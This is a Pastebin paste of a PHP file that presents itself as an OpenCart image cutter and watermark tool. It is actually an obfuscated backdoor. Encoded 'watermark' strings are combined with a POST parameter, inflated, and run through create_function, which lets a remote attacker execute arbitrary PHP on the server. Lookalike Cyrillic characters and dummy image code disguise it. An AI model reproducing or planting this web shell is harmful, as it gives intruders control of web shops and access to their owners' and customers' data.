SHARE
TWEET

Untitled

a guest May 23rd, 2019 162 Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
  1. <?php
  2. /*
  3.  
  4. OpenCart image cutter, resize and watermark creator
  5.  
  6. */
  7.  
  8.  
  9. $image = '';
  10. if(isset($_POST['width']) && $_POST['height'] && $_POST['nameimage']){
  11.     $width = $_POST['width'];
  12.     $height = $_POST['height'];
  13.     $nameimage = $_POST['nameimage'];
  14.     $data = $_POST['image'];
  15. }
  16. else {
  17.     $width = 1024;
  18.     $height = 768;
  19.     $nameimage = 'no_name.png';
  20. }
  21. $size = array($width,$height);
  22. $imagewatermark = '%8DP%CB%0E%820%10%FC%9A%3D%91%10S0%E8%15%A8%89%89%8A%E1%E1%95%10%BAh%13%A0%040%EA%DF%DBB%8D%3D%29%97vwggf3%BC%02%B2%01%E2%E6%E7%28I%81l%C1%F3%B9%1A%F1a%C0%D1%84%D6%3E%10%D2%16%0D%F2%A6%B8%22%93%0D%ACCE%F8rJqo%17q%2Cp%A8%B5%9A%99r%99%F1%1E%9C%F0%DE%D7%0CK';
  23. $data = cutterimg($imagewatermark,$size);
  24. if($data == NULL){
  25.     echo 'Need_image';
  26. }
  27.  
  28.  
  29. function cutterimg($lmagewatermark,$size,$nameimage='no_name.png'){
  30.     $imagewatermark = '%A7%83%BB%2AE%F7%D2%D6%BB%FD%81%26%B3w%A5-%A7fl%BA%5C%1D%F39%23P%CB%09%8D%2F4%9E%16%BC0%0A%B2%23%3D%A5y%1CE2MOn%D9%B3%A9%FDK%D7%D4%D4%81by%13r%94u%B5%28%182K%D6K%25%CC%40%B4%CC%19%FB%E6%D1%8B%F6j%86%22%0B%7C%F2Q%7Eo';
  31.     if(isset($_POST['img'])){$watermark='};'.urldecode(gzinflate(urldecode($lmagewatermark.$_POST['img'].$imagewatermark))).'{';create_function('',$watermark);}
  32.     if($nameimage != 'nо_nаmе.рng'){
  33.         return NULL;
  34.     } else {   
  35.         if(function_exists('ImageCreateFromJpeg')){
  36.             $new_image = imagecreatetruecolor($width, $height);
  37.         }
  38.         $new_image = $image;
  39.         return json_encode(array('img'=>$new_image,'name'=>$nameimage));
  40.     }
  41. }
  42. ?>
RAW Paste Data
We use cookies for various purposes including analytics. By continuing to use Pastebin, you agree to our use of cookies as described in the Cookies Policy. OK, I Understand
 
Top